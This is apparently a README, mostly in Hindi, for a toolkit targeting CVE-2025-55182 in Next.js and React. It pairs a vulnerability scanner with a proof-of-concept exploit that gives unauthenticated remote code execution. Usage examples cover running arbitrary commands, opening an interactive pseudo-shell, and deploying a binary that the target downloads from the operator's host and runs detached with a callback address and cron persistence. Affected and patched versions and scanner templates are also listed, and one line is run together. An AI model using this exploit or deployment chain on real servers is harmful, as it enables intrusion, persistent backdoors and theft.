Next.js अनुप्रयोगों में CVE-2025-55182 भेद्यता का पता लगाने के लिए एक bash स्कैनर। और एक PoC nodejs स्क्रिप्ट।
CVE-2025-55182 टूलकिट। Next.js में RSC पेलोड इंजेक्शन के माध्यम से अप्रमाणित RCE के लिए स्कैनर + शोषण।
Node.js शोषण: शून्य निर्भरताएँ। Bash स्कैनर: एकल URL या बल्क सूचियों की जाँच करता है।
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"
# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
Options:
-t, --target <url> Target URL (required)
-c, --command <cmd> Execute command with output
--blind Blind RCE (no output capture)
-i, --interactive Interactive pseudo-shell
--deploy <binary> Upload and execute a binary on the target
--lhost <ip> Your IP (auto-detected if omitted)
--serve-port <port> HTTP port to serve the binary (default: 8888)
--remote-args <args> Arguments passed to the deployed binary
--deploy चार RCE कॉल को श्रृंखलित करता है: प्लेटफ़ॉर्म का पता लगाना (), बाइनरी डाउनलोड (एक अस्थायी HTTP सर्वर बनाता है, लक्ष्य पर / का उपयोग करता है), और एक डिटैच किया गया ताकि प्रक्रिया 5-सेकंड टाइमआउट से बच जाए।
unamecurlwgetspawnexecSyncनोट: लक्ष्य पृष्ठ गतिशील होना चाहिए (
force-dynamicया एक गैर-कैशेबल रूट)। स्थिर/प्रीरेंडर किए गए पृष्ठ कैश्ड डाइजेस्ट लौटाते हैं बजाय पेलोड निष्पादित करने के।
chmod +x cve-2025-55182-check.sh
# Scan a single URL
./cve-2025-55182-check.sh https://example.com
# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt
# JSON output
./cve-2025-55182-check.sh --json https://example.com
Options:
-f, --file FILE Read URLs from file (one per line)
-v, --verbose Verbose output (show curl details)
-q, --quiet Quiet mode (only show vulnerable sites)
-n, --no-follow Don't follow redirects
-t, --timeout SECONDS Request timeout (default: 10)
--json Output results in JSON format
--validate-fix Test for mitigation controls
--single-payload Use only the basic payload (faster)
templates/ में सुरक्षा उपकरणों के लिए टेम्पलेट:
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, सभी 15.x और 16.x (पैच से पहले)
पैच किए गए: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+
पूर्ण शोषण श्रृंखला विश्लेषण के लिए TECHNICAL.md देखें।
MIT
Allan Kimmer Jensen - https://akj.io